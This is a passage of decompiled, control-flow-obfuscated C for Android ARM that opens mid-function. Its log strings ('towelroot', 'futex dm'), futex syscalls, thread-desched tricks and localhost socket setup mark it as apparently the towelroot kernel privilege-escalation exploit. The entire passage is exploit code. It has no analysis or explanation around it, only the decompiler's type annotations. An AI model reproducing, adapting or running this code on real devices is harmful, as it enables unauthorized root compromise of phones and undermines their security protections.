break;
if ( v9 == -636767832 )
{
v35 = v0;
v36 = v5;
v37 = v3;
v38 = v1;
v39 = v2;
v40 = v4;
v41 = recvmsg(*v120, *v122, 0);
v4 = v40;
v2 = v39;
v10 = 1830166322;
v1 = v38;
v6 = 1801770282;
v3 = v37;
v8 = 1711583301;
v5 = v36;
v0 = v35;
v7 = 1611667672;
*v118 = v41;
v9 = 1077599450;
}
}
if ( (signed int)v9 > -600519680 )
break;
if ( v9 == v4 )
LABEL_312:
v9 = -2114967034;
}
if ( (signed int)v9 > -524020600 )
break;
if ( v9 == -600519679 )
{
v9 = 1005045878;
if ( v127 )
v9 = -1237353608;
}
}
if ( (signed int)v9 > -521297277 )
break;
if ( v9 == -524020599 )
LABEL_285:
v9 = 436256745;
}
if ( (signed int)v9 > -476652055 )
break;
if ( v9 == -521297276 )
LABEL_303:
v9 = 1351837257;
}
if ( (signed int)v9 > -449798503 )
break;
if ( v9 == -476652054 )
LABEL_181:
v9 = -224829244;
}
if ( (signed int)v9 > -424498271 )
break;
if ( v9 == -449798502 )
{
v9 = -2104783998;
if ( !(*v108)[1] )
v9 = 1924857697;
}
}
if ( (signed int)v9 > -377732498 )
break;
if ( v9 == -424498270 )
goto LABEL_181;
}
if ( (signed int)v9 > -362246628 )
break;
if ( v9 == -377732497 )
{
v42 = 0;
if ( *v119 < 8 )
v42 = 1;
v125 = v42;
v9 = -1739896730;
}
}
if ( (signed int)v9 > -320862018 )
break;
if ( v9 == -362246627 )
v9 = 399300895;
}
if ( (signed int)v9 > -313082237 )
break;
if ( v9 == -320862017 )
{
++*v119;
goto LABEL_288;
}
}
if ( (signed int)v9 > -284254014 )
break;
if ( v9 == -313082236 )
goto LABEL_196;
}
if ( (signed int)v9 > -224829245 )
break;
if ( v9 == -284254013 )
v9 = 851835296;
}
if ( (signed int)v9 > -116623178 )
break;
if ( v9 == -224829244 )
{
v43 = v0;
v44 = v5;
v45 = v3;
v46 = v1;
v47 = v2;
v48 = v4;
v49 = sendmsg(*v120, *v122, 0);
v4 = v48;
v10 = 1830166322;
v2 = v47;
v8 = 1711583301;
v1 = v46;
v3 = v45;
v5 = v44;
v0 = v43;
v7 = 1611667672;
v52 = v49;
v9 = 833743395;
v50 = v52 == 0;
v51 = v52 < 0;
*v118 = v52;
LOWORD(v52) = -10966;
if ( !(v51 | v50) )
v9 = 43938;
HIWORD(v52) = 27492;
if ( !(v51 | v50) )
HIWORD(v9) = -6478;
v6 = v52;
}
}
if ( (signed int)v9 > -94759229 )
break;
if ( v9 == -116623177 )
v9 = 851835296;
}
if ( (signed int)v9 > -67329569 )
break;
if ( v9 == -94759228 )
LABEL_214:
v9 = -1922763464;
}
if ( (signed int)v9 > -63528079 )
break;
if ( v9 == -67329568 )
v9 = 1323698956;
}
if ( (signed int)v9 > -46364809 )
break;
if ( v9 == -63528078 )
goto LABEL_221;
}
if ( (signed int)v9 > -36394266 )
break;
if ( v9 == -46364808 )
v9 = 88228847;
}
if ( (signed int)v9 > 88228846 )
break;
if ( v9 == -36394265 )
{
v53 = v0;
v54 = v5;
v55 = v3;
v56 = v1;
v57 = v2;
v58 = v4;
sleep(10);
v4 = v58;
v2 = v57;
v10 = 1830166322;
v1 = v56;
v6 = 1801770282;
v3 = v55;
v8 = 1711583301;
v5 = v54;
v0 = v53;
v7 = 1611667672;
goto LABEL_229;
}
}
if ( (signed int)v9 > 124382289 )
break;
if ( v9 == 88228847 )
{
v117 = &v93;
v118 = &v93;
v119 = &v93;
v120 = &v93;
v121 = (int)(&v95 - 8);
v122 = &v93;
v123 = &v95 - 16;
v124 = &v95 - 32;
*(_DWORD *)v107 = syscall(224, 88228847, v6, v4);
setpriority(0, 0, 12);
v59 = sub_7390();
v10 = 1830166322;
v8 = 1711583301;
v4 = -606985679;
*v120 = v59;
v60 = v121;
*(_DWORD *)v121 = 0;
*(_DWORD *)(v60 + 4) = 0;
*(_DWORD *)(v60 + 8) = 0;
*(_DWORD *)(v60 + 12) = 0;
*(_DWORD *)(v60 + 16) = 0;
*(_DWORD *)(v60 + 20) = 0;
*(_DWORD *)(v60 + 24) = 0;
*(_DWORD *)(v60 + 28) = 0;
*v122 = v121;
*v119 = 0;
v6 = 1801770282;
v9 = 207372404;
}
}
if ( (signed int)v9 > 156727846 )
break;
if ( v9 == 124382290 )
v9 = -476652054;
}
if ( (signed int)v9 > 207372403 )
break;
if ( v9 == 156727847 )
v9 = ((*v118 >> 31) & 0xF655BA27) - 1944808194;
}
if ( (signed int)v9 > 324101212 )
break;
if ( v9 == 207372404 )
LABEL_242:
v9 = -1676803381;
}
if ( (signed int)v9 > 352503582 )
break;
if ( v9 == 324101213 )
v9 = -1916186442;
}
if ( (signed int)v9 > 371761058 )
break;
if ( v9 == v2 )
{
v61 = *v120;
v62 = v0;
v93 = 0;
v63 = v5;
v64 = v3;
v65 = v1;
v66 = v2;
v67 = v4;
v68 = syscall(374, v61, v121, 1);
v4 = v67;
v2 = v66;
v10 = 1830166322;
v1 = v65;
v8 = 1711583301;
v3 = v64;
v5 = v63;
v0 = v62;
v7 = 1611667672;
v71 = v68;
v9 = -1847221507;
v69 = v71 == 0;
v70 = v71 < 0;
*v118 = v71;
LOWORD(v71) = -10966;
if ( !(v70 | v69) )
v9 = 40867;
HIWORD(v71) = 27492;
if ( !(v70 | v69) )
HIWORD(v9) = 5672;
v6 = v71;
}
}
if ( (signed int)v9 > 399300894 )
break;
if ( v9 == 371761059 )
v9 = v2;
}
if ( (signed int)v9 > 416401681 )
break;
if ( v9 == 399300895 )
{
*v119 = 0;
v9 = -94759228;
}
}
if ( (signed int)v9 > 436256744 )
break;
if ( v9 == 416401682 )
v9 = -377732497;
}
if ( (signed int)v9 > 471420064 )
break;
if ( v9 == 436256745 )
{
*(_DWORD *)*v122 = v124;
*(_DWORD *)(*v122 + 4) = 128;
*(_DWORD *)(*v122 + 16) = v124;
*(_DWORD *)(*v122 + 20) = 32;
*(_DWORD *)(*v122 + 8) = v123;
*(_DWORD *)(*v122 + 12) = 8;
*(_DWORD *)(*v122 + 24) = 0;
*(_DWORD *)(v121 + 28) = 0;
v72 = *v106;
v73 = v0;
v74 = *v105;
v75 = v5;
v93 = 0;
v76 = v3;
v77 = v1;
v78 = v2;
v79 = v4;
syscall(240, v72, 11, 0);
v9 = 1830166322;
v4 = v79;
v2 = v78;
v10 = 1830166322;
v1 = v77;
v6 = 1801770282;
v3 = v76;
v8 = 1711583301;
v5 = v75;
v0 = v73;
v7 = 1611667672;
*(_DWORD *)v104 = 1;
}
}
if ( (signed int)v9 > 585450574 )
break;
if ( v9 == v5 )
{
v80 = 0;
if ( !*(_DWORD *)v103 )
v80 = 1;
v126 = v80;
v9 = -839360480;
}
}
if ( (signed int)v9 > 684709878 )
break;
if ( v9 == 585450575 )
{
v123[2 * *v119] = *(_DWORD *)*(v102 - 28);
v96 = *(_DWORD *)v101;
v10 = 1830166322;
v123[2 * *v119 + 1] = v96;
v9 = 1452755235;
}
}
if ( (signed int)v9 > 731304646 )
break;
if ( v9 == 684709879 )
v9 = -810851278;
}
if ( (signed int)v9 > 763967219 )
break;
if ( v9 == 731304647 )
goto LABEL_282;
}
if ( (signed int)v9 > 824737538 )
break;
if ( v9 == 763967220 )
goto LABEL_285;
}
if ( (signed int)v9 > 833743394 )
break;
if ( v9 == 824737539 )
LABEL_288:
v9 = 1355084291;
}
if ( (signed int)v9 > 851835295 )
break;
if ( v9 == 833743395 )
goto LABEL_291;
}
if ( (signed int)v9 > 873325446 )
break;
if ( v9 == 851835296 )
v9 = -524020599;
}
if ( (signed int)v9 > 1005045877 )
break;
if ( v9 == 873325447 )
{
v9 = 1077599450;
if ( (*v100)[1] == (void *)3 )
v9 = -636767832;
}
}
if ( (signed int)v9 > 1077599449 )
break;
if ( v9 == 1005045878 )
goto LABEL_303;
}
if ( (signed int)v9 > 1082304467 )
break;
if ( v9 == 1077599450 )
LABEL_324:
v9 = 1273869937;
}
if ( (signed int)v9 > 1101700004 )
break;
if ( v9 == 1082304468 )
{
*v119 = 0;
v9 = -1241056785;
}
}
if ( (signed int)v9 > 1134159149 )
break;
if ( v9 == 1101700005 )
goto LABEL_312;
}
if ( (signed int)v9 <= 1168505811 )
break;
if ( (signed int)v9 > 1273869936 )
{
if ( (signed int)v9 > 1323698955 )
{
if ( (signed int)v9 > 1336748626 )
{
if ( (signed int)v9 > 1351837256 )
{
if ( (signed int)v9 > 1355084290 )
{
if ( (signed int)v9 > 1452497678 )
{
switch ( v9 )
{
case 0x56935B0Fu:
v9 = -1916186442;
break;
case 0x56974923u:
v9 = -1581040931;
break;
case 0x56A1326Cu:
v91 = *(_DWORD *)v97;
v9 = v5;
break;
}
}
else if ( v9 == 1355084291 )
{
v9 = 324101213;
if ( *v119 < 8 )
v9 = -963311209;
}
}
else if ( v9 == 1351837257 )
{
v90 = 0;
if ( (*v98)[1] == (void *)2 )
v90 = 1;
v128 = v90;
v9 = -1821802461;
}
}
else if ( v9 == 1336748627 )
{
v84 = v0;
v85 = v5;
v86 = v3;
v87 = v1;
v88 = v2;
v89 = v4;
sleep(10);
v4 = v89;
v2 = v88;
v10 = 1830166322;
v1 = v87;
v6 = 1801770282;
v3 = v86;
v8 = 1711583301;
v5 = v85;
v0 = v84;
v7 = 1611667672;
v9 = 1553720541;
}
}
else if ( v9 == 1323698956 )
{
goto LABEL_324;
}
}
else if ( v9 == 1273869937 )
{
goto LABEL_321;
}
}
else if ( v9 == 1168505812 )
{
v81 = v4;
v82 = *(v99 - 25);
v96 = *(_DWORD *)*(v99 - 28);
v10 = 1830166322;
v123[2 * *v119] = v96;
v83 = *(_DWORD *)v82;
v4 = v81;
v8 = 1711583301;
v6 = 1801770282;
v123[2 * *v119 + 1] = v83;
v9 = 585450575;
}
}
}
while ( v9 != 1134159150 );
return v129;
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// FC0: using guessed type int __fastcall syscall(_DWORD, _DWORD, _DWORD, _DWORD);
// 105C: using guessed type int __fastcall setpriority(_DWORD, _DWORD, _DWORD);
// 1074: using guessed type int __fastcall recvmsg(_DWORD, _DWORD, _DWORD);
// 1080: using guessed type int __fastcall sendmsg(_DWORD, _DWORD, _DWORD);
// 2ACEC: using guessed type void *swag;
// 2ACF0: using guessed type void *swag2;
// 2ACF4: using guessed type void **ph;
// 2AD98: using guessed type int GLOBAL_OFFSET_TABLE_;
//----- (00007390) --------------------------------------------------------
int sub_7390()
{
int v0; // r0@1
unsigned int v1; // r0@1
signed int v2; // r0@39
int v4; // [sp+10h] [bp-38h]@1
int v5; // [sp+18h] [bp-30h]@1
int v6; // [sp+1Ch] [bp-2Ch]@1
int v7; // [sp+20h] [bp-28h]@1
int v8; // [sp+24h] [bp-24h]@1
int v9; // [sp+28h] [bp-20h]@1
v8 = 0;
v7 = 0;
v6 = 0;
v5 = 0;
v0 = socket(2, 1, 6);
v4 = v0;
v9 = v0;
v1 = 1432349297;
do
{
while ( 1 )
{
while ( 1 )
{
while ( (signed int)v1 <= -1406997303 )
{
if ( v1 == -1914593278 )
{
sleep(10);
v1 = 1764875129;
}
}
if ( (signed int)v1 > -925338160 )
break;
if ( v1 == -1406997302 )
{
sleep(10);
v1 = -1914593278;
}
}
if ( (signed int)v1 > 2099868287 )
break;
if ( (signed int)v1 > 1764875128 )
{
if ( v1 == 1764875129 )
LABEL_31:
v1 = -605639770;
}
else if ( (signed int)v1 > 1432349296 )
{
if ( v1 == 1432349297 )
{
v1 = 770335367;
if ( v9 == -1 )
v1 = 496916984;
}
}
else if ( (signed int)v1 > 770335366 )
{
if ( v1 == 770335367 )
{
v5 = -1357578238;
v6 = 16777343;
goto LABEL_28;
}
}
else if ( (signed int)v1 > 496916983 )
{
if ( v1 == 496916984 )
{
_android_log_print(4, "towelroot", "socket failed\n");
goto LABEL_31;
}
}
else if ( (signed int)v1 > 374902548 )
{
if ( v1 == 374902549 )
{
usleep(10);
v1 = -925338159;
}
}
else if ( (signed int)v1 > 15440870 )
{
if ( v1 == 15440871 )
{
usleep(10);
goto LABEL_38;
}
}
else if ( (signed int)v1 > -869479533 )
{
switch ( v1 )
{
case 0xCC2CCB94:
v2 = connect(v4, &v5, 16);
v1 = (((v2 >> 31) ^ 0xA151721C) & (v2 >> 31)) + 2099868288;
break;
case 0xDBD80063:
LABEL_38:
v1 = 374902549;
break;
case 0xDBE6ABA6:
v1 = -1914593278;
break;
}
}
else if ( v1 == -925338159 )
{
LABEL_28:
v1 = -869479532;
}
}
}
while ( v1 != 2099868288 );
setsockopt(v4);
return v4;
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// F84: using guessed type int __fastcall socket(_DWORD, _DWORD, _DWORD);
// F90: using guessed type int __cdecl setsockopt(_DWORD);
// FE4: using guessed type int __fastcall usleep(_DWORD);
// 108C: using guessed type int __fastcall connect(_DWORD, _DWORD, _DWORD);
//----- (00007690) --------------------------------------------------------
int __fastcall sub_7690(int a1)
{
signed int v1; // r4@1
signed int v2; // r10@1
unsigned int v3; // r12@1
signed int v4; // r6@1
signed int v5; // r8@1
signed int v6; // r9@1
signed int v7; // r7@1
signed int v8; // r2@1
signed int v9; // r3@1
signed int v10; // lr@1
signed int v11; // r0@1
unsigned int v12; // r8@9
signed int v13; // r5@9
signed int v14; // r9@9
int *v15; // r4@12
signed int v16; // r0@12
signed int v17; // r1@12
signed int v18; // r3@12
FILE *v19; // r10@12
unsigned int v20; // r8@14
signed int v21; // r5@14
signed int v22; // r9@14
_UNKNOWN *v23; // r7@17
signed int v24; // r0@17
FILE *v25; // r6@17
signed int v26; // r1@17
signed int v27; // r3@17
signed int v28; // r6@32
signed int v29; // r9@32
signed int v30; // r8@32
char *v31; // r0@32
char v32; // zf@22
int *v33; // r6@46
signed int v34; // r0@46
FILE *v35; // r6@46
signed int v36; // r1@46
signed int v37; // r3@46
signed int v38; // r5@61
char *v39; // r0@61
int *v40; // r4@70
int v41; // r7@70
int v42; // r0@70
int v43; // r1@70
signed int v44; // r0@70
signed int v45; // r1@70
signed int v46; // r3@70
FILE *v47; // r4@70
char v48; // r0@75
char *v49; // r0@91
signed int v50; // r7@106
signed int v51; // r8@106
char *v52; // r0@106
int v54; // [sp+0h] [bp-20A0h]@17
const char *v55; // [sp+24h] [bp-207Ch]@1
const char *v56; // [sp+28h] [bp-2078h]@1
_UNKNOWN *v57; // [sp+2Ch] [bp-2074h]@1
int *v58; // [sp+30h] [bp-2070h]@1
int *v59; // [sp+34h] [bp-206Ch]@1
_UNKNOWN *v60; // [sp+38h] [bp-2068h]@1
const char *v61; // [sp+3Ch] [bp-2064h]@1
const char *v62; // [sp+40h] [bp-2060h]@1
const char *v63; // [sp+44h] [bp-205Ch]@1
int *v64; // [sp+48h] [bp-2058h]@1
_UNKNOWN *v65; // [sp+4Ch] [bp-2054h]@1
int (__fastcall *v66)(int); // [sp+50h] [bp-2050h]@1
_UNKNOWN *v67; // [sp+54h] [bp-204Ch]@1
_UNKNOWN *v68; // [sp+58h] [bp-2048h]@1
_UNKNOWN *v69; // [sp+5Ch] [bp-2044h]@1
int v70; // [sp+60h] [bp-2040h]@1
const char *v71; // [sp+64h] [bp-203Ch]@1
int *v72; // [sp+68h] [bp-2038h]@1
int *v73; // [sp+6Ch] [bp-2034h]@12
int *v74; // [sp+70h] [bp-2030h]@17
char v75; // [sp+77h] [bp-2029h]@67
int v76; // [sp+78h] [bp-2028h]@32
int v77; // [sp+1078h] [bp-1028h]@12
int v78; // [sp+2078h] [bp-28h]@12
int v79; // [sp+207Ch] [bp-24h]@28
int v80; // [sp+2080h] [bp-20h]@1
v70 = a1;
v1 = 2020396282;
v2 = 1785620252;
v3 = 0xFFFE1CC6;
v4 = 1528490914;
v5 = -1510328164;
v6 = 1550213081;
v69 = &is_thread_desched_lock;
v7 = -752118747;
v68 = &did_dm_tid_read;
v67 = &do_dm_tid_read;
v66 = sub_8394;
v65 = &is_thread_desched;
v64 = (int *)&last_tid;
v63 = "/proc/self/task/%d/status";
v62 = "rb";
v61 = "voluntary_ctxt_switches";
v80 = 1785620253;
v60 = &do_dm_tid_read;
v58 = &GLOBAL_OFFSET_TABLE_;
v55 = "voluntary_ctxt_switches";
v8 = 1528490915;
v57 = &did_dm_tid_read;
v59 = &GLOBAL_OFFSET_TABLE_;
v56 = "voluntary_ctxt_switches";
v9 = 2020396283;
v72 = &GLOBAL_OFFSET_TABLE_;
v10 = 1785620253;
v71 = "voluntary_ctxt_switches";
v11 = -990954812;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v11 > v1 )
{
if ( v11 == v9 )
{
v15 = v72;
sprintf((char *)&v77, (const char *)v72 + v3, *v73);
v16 = (signed int)fopen((const char *)&v77, (const char *)v15 + 0xFFFE1CE0);
v17 = 134304844;
v18 = 134304843;
v19 = (FILE *)v16;
v78 = v16;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v17 <= v18 )
{
v32 = v17 == v5;
v17 = 665893174;
if ( !v32 )
goto LABEL_114;
}
if ( v17 <= 1550213080 )
break;
v32 = v17 == v6;
v16 = -1;
v17 = v5;
if ( !v32 )
goto LABEL_114;
}
if ( v17 <= 1297895565 )
break;
if ( v17 != 1297895566 )
goto LABEL_114;
v28 = v6;
v29 = v5;
v30 = v18;
fread(&v76, 1u, 0x1000u, v19);
v31 = strstr((const char *)&v76, v71);
v16 = atoi(v31 + 25);
v18 = v30;
v5 = v29;
v6 = v28;
v17 = v5;
}
if ( v17 != 134304844 )
break;
v17 = 1297895566;
if ( !v78 )
v17 = 1550213081;
}
if ( v17 != 665893174 )
break;
v17 = 200673134;
v79 = v16;
}
if ( v17 != 200673134 )
{
while ( 1 )
LABEL_114:
;
}
v4 = 1528490914;
v2 = 1785620252;
v1 = 2020396282;
v7 = -752118747;
v9 = 2020396283;
v10 = 1785620253;
v3 = 0xFFFE1CC6;
v48 = 0;
if ( v79 != *v74 + 1 )
v48 = 1;
v75 = v48;
v11 = 709528224;
v8 = 1528490915;
}
}
if ( v11 <= v2 )
break;
if ( v11 == v10 )
v11 = v7;
}
if ( v11 <= v4 )
break;
if ( v11 == v8 )
{
v20 = v3;
v21 = v8;
v22 = v9;
usleep(10);
v8 = v21;
v1 = 2020396282;
v3 = v20;
v5 = -1510328164;
v9 = v22;
v6 = 1550213081;
v11 = v7;
}
}
if ( v11 > -1841006408 )
break;
if ( v11 == -1892802104 )
{
v12 = v3;
v13 = v8;
v14 = v9;
usleep(10);
v8 = v13;
v1 = 2020396282;
v3 = v12;
v5 = -1510328164;
v9 = v14;
v6 = 1550213081;
goto LABEL_10;
}
}
if ( v11 > -1819306828 )
break;
if ( v11 == -1841006407 )
{
v73 = &v54 - 2;
v74 = &v54 - 2;
v54 = v70;
*(_DWORD *)v67 = 0;
*(_DWORD *)v68 = 0;
v23 = v69;
pthread_mutex_lock(v69);
pthread_create(&v54 - 2, 0, v66, v54);
pthread_cond_wait(v65, v23);
*v73 = *v64;
sprintf((char *)&v77, v63, *v73);
v24 = (signed int)fopen((const char *)&v77, v62);
v25 = (FILE *)v24;
v26 = 134304844;
v27 = 134304843;
v78 = v24;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v26 <= v27 )
{
v32 = v26 == v5;
v26 = 665893174;
if ( !v32 )
goto LABEL_115;
}
if ( v26 <= 1550213080 )
break;
v24 = -1;
v32 = v26 == 1550213081;
v26 = -1510328164;
if ( !v32 )
goto LABEL_115;
}
if ( v26 <= 1297895565 )
break;
if ( v26 != 1297895566 )
goto LABEL_115;
v38 = v27;
fread(&v76, 1u, 0x1000u, v25);
v39 = strstr((const char *)&v76, v61);
v24 = atoi(v39 + 25);
v27 = v38;
v26 = -1510328164;
}
if ( v26 != 134304844 )
break;
v26 = 1297895566;
if ( !v78 )
v26 = 1550213081;
}
if ( v26 != 665893174 )
break;
v26 = 200673134;
v79 = v24;
}
if ( v26 != 200673134 )
{
while ( 1 )
LABEL_115:
;
}
v4 = 1528490914;
v2 = 1785620252;
v1 = 2020396282;
v7 = -752118747;
v8 = 1528490915;
v9 = 2020396283;
*v74 = v79;
v11 = v10;
v3 = 0xFFFE1CC6;
v6 = 1550213081;
}
}
if ( v11 <= -990954813 )
break;
if ( v11 > -752118748 )
{
if ( v11 > -391351867 )
{
if ( v11 > -98268714 )
{
if ( v11 > 696000448 )
{
if ( v11 == 696000449 )
{
v40 = v59;
v41 = *(int *)((char *)v59 + 0xFFFFFFDC);
v42 = *(int *)((char *)v59 + 0xFFFFFFD4);
v43 = *(int *)((char *)v59 + 0xFFFFFFD8);
*(&v54 - 2) = v70;
*(_DWORD *)v43 = 0;
*(_DWORD *)v42 = 0;
pthread_mutex_lock(v41);
pthread_create(&v54 - 2, 0, (char *)v40 + 0xFFFDD5FC, *(&v54 - 2));
pthread_cond_wait(*(int *)((char *)v40 + 0xFFFFFFE0), v41);
sprintf((char *)&v77, (const char *)v40 + 0xFFFE1CC6, **(_DWORD **)((char *)v40 + 0xFFFFFFE4));
v44 = (signed int)fopen((const char *)&v77, (const char *)v40 + 0xFFFE1CE0);
v45 = 134304844;
v46 = 134304843;
v47 = (FILE *)v44;
v78 = v44;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v45 <= v46 )
{
v32 = v45 == v5;
v45 = 665893174;
if ( !v32 )
goto LABEL_116;
}
if ( v45 <= 1550213080 )
break;
v32 = v45 == v6;
v44 = -1;
v45 = -1510328164;
if ( !v32 )
goto LABEL_116;
}
if ( v45 <= 1297895565 )
break;
if ( v45 != 1297895566 )
goto LABEL_116;
fread(&v76, 1u, 0x1000u, v47);
v49 = strstr((const char *)&v76, v56);
v44 = atoi(v49 + 25);
v46 = 134304843;
v45 = -1510328164;
}
if ( v45 != 134304844 )
break;
v45 = 1297895566;
if ( !v78 )
v45 = 1550213081;
}
if ( v45 != 665893174 )
break;
v45 = 200673134;
v79 = v44;
}
if ( v45 != 200673134 )
{
while ( 1 )
LABEL_116:
;
}
v11 = -1841006407;
v4 = 1528490914;
v2 = 1785620252;
v3 = 0xFFFE1CC6;
v1 = 2020396282;
v7 = -752118747;
v8 = 1528490915;
v9 = 2020396283;
LABEL_113:
v10 = 1785620253;
}
else
{
v7 = -752118747;
v8 = 1528490915;
v9 = 2020396283;
v10 = 1785620253;
if ( v11 == 709528224 )
{
v1 = 2020396282;
v3 = 0xFFFE1CC6;
v11 = -1819306827;
if ( v75 )
v11 = -1892802104;
}
else
{
v1 = 2020396282;
v3 = 0xFFFE1CC6;
if ( v11 == 726292826 )
v11 = 2020396283;
}
}
}
else if ( v11 == -98268713 )
{
*(_DWORD *)v57 = 1;
LABEL_10:
v11 = 726292826;
}
}
else if ( v11 == -391351866 )
{
v33 = v58;
sprintf((char *)&v77, (const char *)v58 + v3, *v73, v9);
v34 = (signed int)fopen((const char *)&v77, (const char *)v33 + 0xFFFE1CE0);
v35 = (FILE *)v34;
v36 = 134304844;
v37 = 134304843;
v78 = v34;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v36 <= v37 )
{
v32 = v36 == v5;
v36 = 665893174;
if ( !v32 )
goto LABEL_117;
}
if ( v36 <= 1550213080 )
break;
v32 = v36 == v6;
v34 = -1;
v36 = -1510328164;
if ( !v32 )
goto LABEL_117;
}
if ( v36 <= 1297895565 )
break;
if ( v36 != 1297895566 )
goto LABEL_117;
v50 = v5;
v51 = v37;
fread(&v76, 1u, 0x1000u, v35);
v52 = strstr((const char *)&v76, v55);
v34 = atoi(v52 + 25);
v37 = v51;
v5 = v50;
v36 = -1510328164;
}
if ( v36 != 134304844 )
break;
v36 = 1297895566;
if ( !v78 )
v36 = 1550213081;
}
if ( v36 != 665893174 )
break;
v36 = 200673134;
v79 = v34;
}
if ( v36 != 200673134 )
{
while ( 1 )
LABEL_117:
;
}
v4 = 1528490914;
v2 = 1785620252;
v11 = 2020396283;
v3 = 0xFFFE1CC6;
v7 = -752118747;
v9 = 2020396283;
v8 = 1528490915;
goto LABEL_113;
}
}
else if ( v11 == v7 )
{
v11 = -98268713;
if ( !*(_DWORD *)v60 )
v11 = 1528490915;
}
}
else if ( v11 == -990954812 )
{
v11 = -1841006407;
}
}
}
while ( v11 != -1819306827 );
pthread_mutex_unlock(&is_thread_desched_lock);
return *v73;
}
// F54: using guessed type int __fastcall pthread_create(_DWORD, _DWORD, _DWORD, _DWORD);
// F6C: using guessed type int __fastcall pthread_mutex_lock(_DWORD);
// F78: using guessed type int __fastcall pthread_cond_wait(_DWORD, _DWORD);
// FD8: using guessed type int __fastcall pthread_mutex_unlock(_DWORD);
// FE4: using guessed type int __fastcall usleep(_DWORD);
// 2AD98: using guessed type int GLOBAL_OFFSET_TABLE_;
//----- (00008394) --------------------------------------------------------
int __fastcall sub_8394(int a1)
{
signed int v1; // r3@1
signed int v2; // r4@1
signed int v3; // r7@1
signed int v4; // r5@1
signed int v5; // r6@1
signed int v6; // r2@1
signed int v7; // r0@1
void *v8; // r1@16
int v9; // r0@19
int v10; // r4@19
int *v11; // r7@27
int v12; // r4@27
int v13; // r4@27
int v14; // r0@27
unsigned int v16; // [sp+0h] [bp-68h]@16
int v17; // [sp+4h] [bp-64h]@16
int v18; // [sp+8h] [bp-60h]@16
int v19; // [sp+Ch] [bp-5Ch]@19
int v20; // [sp+10h] [bp-58h]@1
signed int (*v21)(); // [sp+14h] [bp-54h]@1
int v22; // [sp+18h] [bp-50h]@1
int v23; // [sp+1Ch] [bp-4Ch]@1
int v24; // [sp+20h] [bp-48h]@1
int *v25; // [sp+24h] [bp-44h]@19
int *v26; // [sp+28h] [bp-40h]@1
const char *v27; // [sp+2Ch] [bp-3Ch]@1
int v28; // [sp+30h] [bp-38h]@1
void **v29; // [sp+34h] [bp-34h]@1
int v30; // [sp+38h] [bp-30h]@1
int v31; // [sp+3Ch] [bp-2Ch]@1
int *v32; // [sp+40h] [bp-28h]@19
int *v33; // [sp+44h] [bp-24h]@16
v30 = a1;
v1 = 1314362507;
v2 = -910198062;
v3 = 257971759;
v4 = -886556414;
v31 = (int)&did_dm_tid_read;
v5 = 832135335;
v29 = &swag2;
v27 = "futex dm: %d\n";
v6 = 1010373513;
v28 = (int)"towelroot";
v24 = (int)&last_tid;
v23 = (int)&is_thread_desched_lock;
v22 = (int)&is_thread_desched;
v21 = sub_881C;
v20 = (int)&do_dm_tid_read;
v26 = &GLOBAL_OFFSET_TABLE_;
v7 = 1314362507;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v7 > 1504356341 )
{
if ( v7 == 1504356342 )
v7 = v4;
}
if ( v7 > -886556415 )
break;
if ( v7 == v2 )
v7 = v4;
}
if ( v7 > v3 )
break;
if ( v7 == v4 )
{
v7 = 257971760;
if ( !*(_DWORD *)v31 )
v7 = 1504356342;
}
}
if ( v7 > v5 )
break;
if ( v7 == 257971760 )
{
v8 = *v29;
v16 = 0;
v17 = 0;
v18 = 0;
*v33 = syscall(240, v8, 6, 1);
_android_log_print(4, v28, v27, *v33);
goto LABEL_23;
}
}
if ( v7 > v6 )
break;
if ( v7 == 832135336 )
{
v32 = &v18;
v25 = &v18;
v33 = &v18;
v9 = syscall(224, &v18, v6, v1);
v10 = v23;
*(_DWORD *)v24 = v9;
pthread_mutex_lock(v10);
pthread_cond_signal(v22);
v19 = 0;
v18 = 0;
v17 = 0;
v16 = (unsigned int)v21;
v4 = -886556414;
*v33 = sigaction(12, &v16, 0);
setpriority(0, 0, *v25);
pthread_mutex_unlock(v10);
v2 = -910198062;
v6 = 1010373513;
v5 = 832135335;
*(_DWORD *)v20 = 1;
v7 = -910198062;
}
}
if ( v7 > 1264303332 )
break;
if ( v7 == 1010373514 )
{
sleep(10);
LABEL_23:
v6 = 1010373513;
v7 = 1010373514;
}
}
if ( v7 != 1264303333 )
break;
v11 = v26;
v12 = *(int *)((char *)v26 + 0xFFFFFFE4);
*(_DWORD *)v12 = syscall(224, 1264303333, v6, v1);
v13 = *(int *)((char *)v11 + 0xFFFFFFDC);
pthread_mutex_lock(*(int *)((char *)v11 + 0xFFFFFFDC));
pthread_cond_signal(*(int *)((char *)v11 + 0xFFFFFFE0));
v19 = 0;
v18 = 0;
v17 = 0;
v16 = (unsigned int)((char *)v11 + 0xFFFDDA84);
sigaction(12, &v16, 0);
setpriority(0, 0, v30);
pthread_mutex_unlock(v13);
v4 = -886556414;
v5 = 832135335;
v2 = -910198062;
v14 = *(int *)((char *)v11 + 0xFFFFFFD8);
v3 = 257971759;
*(_DWORD *)v14 = 1;
v7 = 832135336;
LABEL_28:
v6 = 1010373513;
}
v4 = -886556414;
v2 = -910198062;
if ( v7 == 1314362507 )
{
v7 = 832135336;
v3 = 257971759;
v5 = 832135335;
goto LABEL_28;
}
v3 = 257971759;
v5 = 832135335;
v6 = 1010373513;
}
while ( v7 != 1309878492 );
return *v32;
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// F6C: using guessed type int __fastcall pthread_mutex_lock(_DWORD);
// FC0: using guessed type int __fastcall syscall(_DWORD, _DWORD, _DWORD, _DWORD);
// FD8: using guessed type int __fastcall pthread_mutex_unlock(_DWORD);
// 105C: using guessed type int __fastcall setpriority(_DWORD, _DWORD, _DWORD);
// 1098: using guessed type int __fastcall pthread_cond_signal(_DWORD);
